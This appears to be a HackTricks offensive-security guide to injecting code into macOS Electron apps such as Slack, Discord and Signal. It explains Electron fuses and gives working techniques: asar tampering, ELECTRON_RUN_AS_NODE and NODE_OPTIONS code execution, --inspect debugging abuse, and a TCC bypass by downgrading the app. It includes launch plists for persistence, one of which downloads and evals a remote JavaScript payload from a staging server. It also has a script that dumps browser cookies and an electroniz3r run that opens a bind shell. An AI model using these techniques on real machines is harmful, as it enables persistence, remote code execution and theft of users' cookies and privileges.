# macOS Electron Applications Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Basic Information If you don't know what Electron is you can find [**lots of information here**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). But for now just know that Electron runs **node**.\ And node has some **parameters** and **env variables** that can be use to **make it execute other code** apart from the indicated file. ### Electron Fuses These techniques will be discussed next, but in recent times Electron has added several **security flags to prevent them**. These are the [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) and these are the ones used to **prevent** Electron apps in macOS from **loading arbitrary code**: * **`RunAsNode`**: If disabled, it prevents the use of the env var **`ELECTRON_RUN_AS_NODE`** to inject code. * **`EnableNodeCliInspectArguments`**: If disabled, params like `--inspect`, `--inspect-brk` won't be respected. Avoiding his way to inject code. * **`EnableEmbeddedAsarIntegrityValidation`**: If enabled, the loaded **`asar`** **file** will be **validated** by macOS. **Preventing** this way **code injection** by modifying the contents of this file. * **`OnlyLoadAppFromAsar`**: If this is enabled, instead of searching to load in the following order: **`app.asar`**, **`app`** and finally **`default_app.asar`**. It will only check and use app.asar, thus ensuring that when **combined** with the **`embeddedAsarIntegrityValidation`** fuse it is **impossible** to **load non-validated code**. * **`LoadBrowserProcessSpecificV8Snapshot`**: If enabled, the browser process uses the file called `browser_v8_context_snapshot.bin` for its V8 snapshot. Another interesting fuse that won't be preventing code injection is: * **EnableCookieEncryption**: If enabled, the cookie store on disk is encrypted using OS level cryptography keys. ### Checking Electron Fuses You can **check these flags** from an application with: ```bash npx @electron/fuses read --app /Applications/Slack.app Analyzing app: Slack.app Fuse Version: v1 RunAsNode is Disabled EnableCookieEncryption is Enabled EnableNodeOptionsEnvironmentVariable is Disabled EnableNodeCliInspectArguments is Disabled EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Modifying Electron Fuses As the [**docs mention**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), the configuration of the **Electron Fuses** are configured inside the **Electron binary** which contains somewhere the string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. In macOS applications this is typically in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` You could load this file in [https://hexed.it/](https://hexed.it/) and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (`0x30` is `0` and `0x31` is `1`) to **modify the fuse values**.
Note that if you try to **overwrite** the **`Electron Framework` binary** inside an application with these bytes modified, the app won't run. ## RCE adding code to Electron Applications There could be **external JS/HTML files** that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app. {% hint style="danger" %} However, at the moment there are 2 limitations: * The **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible. * The compiled **`asap`** file usually has the fuses **`embeddedAsarIntegrityValidation`** `and` **`onlyLoadAppFromAsar`** `enabled` Making this attack path more complicated (or impossible). {% endhint %} Note that it's possible to bypass the requirement of **`kTCCServiceSystemPolicyAppBundles`** by copying the application to another directory (like **`/tmp`**), renaming the folder **`app.app/Contents`** to **`app.app/NotCon`**, **modifying** the **asar** file with your **malicious** code, renaming it back to **`app.app/Contents`** and executing it. You can unpack the code from the asar file with: ```bash npx asar extract app.asar app-decomp ``` And pack it back after having modified it with: ```bash npx asar pack app-decomp app-new.asar ``` ## RCE with `ELECTRON_RUN_AS_NODE` According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), if this env variable is set, it will start the process as a normal Node.js process. {% code overflow="wrap" %} ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord # Then from the nodeJS console execute: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` {% endcode %} {% hint style="danger" %} If the fuse **`RunAsNode`** is disabled the env var **`ELECTRON_RUN_AS_NODE`** will be ignored, and this won't work. {% endhint %} ### Injection from the App Plist As [**proposed here**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), you could abuse this env variable in a plist to maintain persistence: ```xml EnvironmentVariables ELECTRON_RUN_AS_NODE true Label com.xpnsec.hideme ProgramArguments /Applications/Slack.app/Contents/MacOS/Slack -e const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); RunAtLoad ``` ## RCE with `NODE_OPTIONS` You can store the payload in a different file and execute it: {% code overflow="wrap" %} ```bash # Content of /tmp/payload.js require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator'); # Execute NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` {% endcode %} {% hint style="danger" %} If the fuse **`EnableNodeOptionsEnvironmentVariable`** is **disabled**, the app will **ignore** the env var **NODE\_OPTIONS** when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set, which will be also **ignored** if the fuse **`RunAsNode`** is disabled. If you don't set **`ELECTRON_RUN_AS_NODE`** , you will find the **error**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` {% endhint %} ### Injection from the App Plist You could abuse this env variable in a plist to maintain persistence adding these keys: ```xml EnvironmentVariables ELECTRON_RUN_AS_NODE true NODE_OPTIONS --require /tmp/payload.js Label com.hacktricks.hideme RunAtLoad ``` ## RCE with inspecting According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\ For example: {% code overflow="wrap" %} ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` {% endcode %} {% hint style="danger" %} If the fuse **`EnableNodeCliInspectArguments`** is disabled, the app will **ignore node parameters** (such as `--inspect`) when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set, which will be also **ignored** if the fuse **`RunAsNode`** is disabled. However, you could still use the **electron param `--remote-debugging-port=9229`** but the previous payload won't work to execute other processes. {% endhint %} Using the param **`--remote-debugging-port=9222`** it's possible to steal some information from the Electron App like the **history** (with GET commands) or the **cookies** of the browser (as they are **decrypted** inside the browser and there is a **json endpoint** that will give them). You can learn how to do that in [**here**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) and [**here**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) and use the automatic tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) or a simple script like: ```python import websocket ws = websocket.WebSocket() ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True) ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**. ### Injection from the App Plist You could abuse this env variable in a plist to maintain persistence adding these keys: ```xml ProgramArguments /Applications/Slack.app/Contents/MacOS/Slack --inspect Label com.hacktricks.hideme RunAtLoad ``` ## TCC Bypass abusing Older Versions {% hint style="success" %} The TCC daemon from macOS doesn't check the executed version of the application. So if you **cannot inject code in an Electron application** with any of the previous techniques you could download a previous version of the APP and inject code on it as it will still get the TCC privileges (unless Trust Cache prevents it). {% endhint %} ## Run non JS Code The previous techniques will allow you to run **JS code inside the process of the electron application**. However, remember that the **child processes run under the same sandbox profile** as the parent application and **inherit their TCC permissions**.\ Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just **run another binary from the process**. ## Automatic Injection The tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) can be easily used to **find vulnerable electron applications** installed and inject code on them. This tool will try to use the **`--inspect`** technique: You need to compile it yourself and can use it like this: ```bash # Find electron apps ./electroniz3r list-apps ╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ Bundle identifier │ Path ║ ╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝ com.microsoft.VSCode /Applications/Visual Studio Code.app org.whispersystems.signal-desktop /Applications/Signal.app org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app com.github.GitHubClient /Applications/GitHub Desktop.app com.ledger.live /Applications/Ledger Live.app com.postmanlabs.mac /Applications/Postman.app com.tinyspeck.slackmacgap /Applications/Slack.app com.hnc.Discord /Applications/Discord.app # Check if an app has vulenrable fuses vulenrable ## It will check it by launching the app with the param "--inspect" and checking if the port opens /electroniz3r verify "/Applications/Discord.app" /Applications/Discord.app started the debug WebSocket server The application is vulnerable! You can now kill the app using `kill -9 57739` # Get a shell inside discord ## For more precompiled-scripts check the code ./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell /Applications/Discord.app started the debug WebSocket server The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` ## References * [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) * [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) * [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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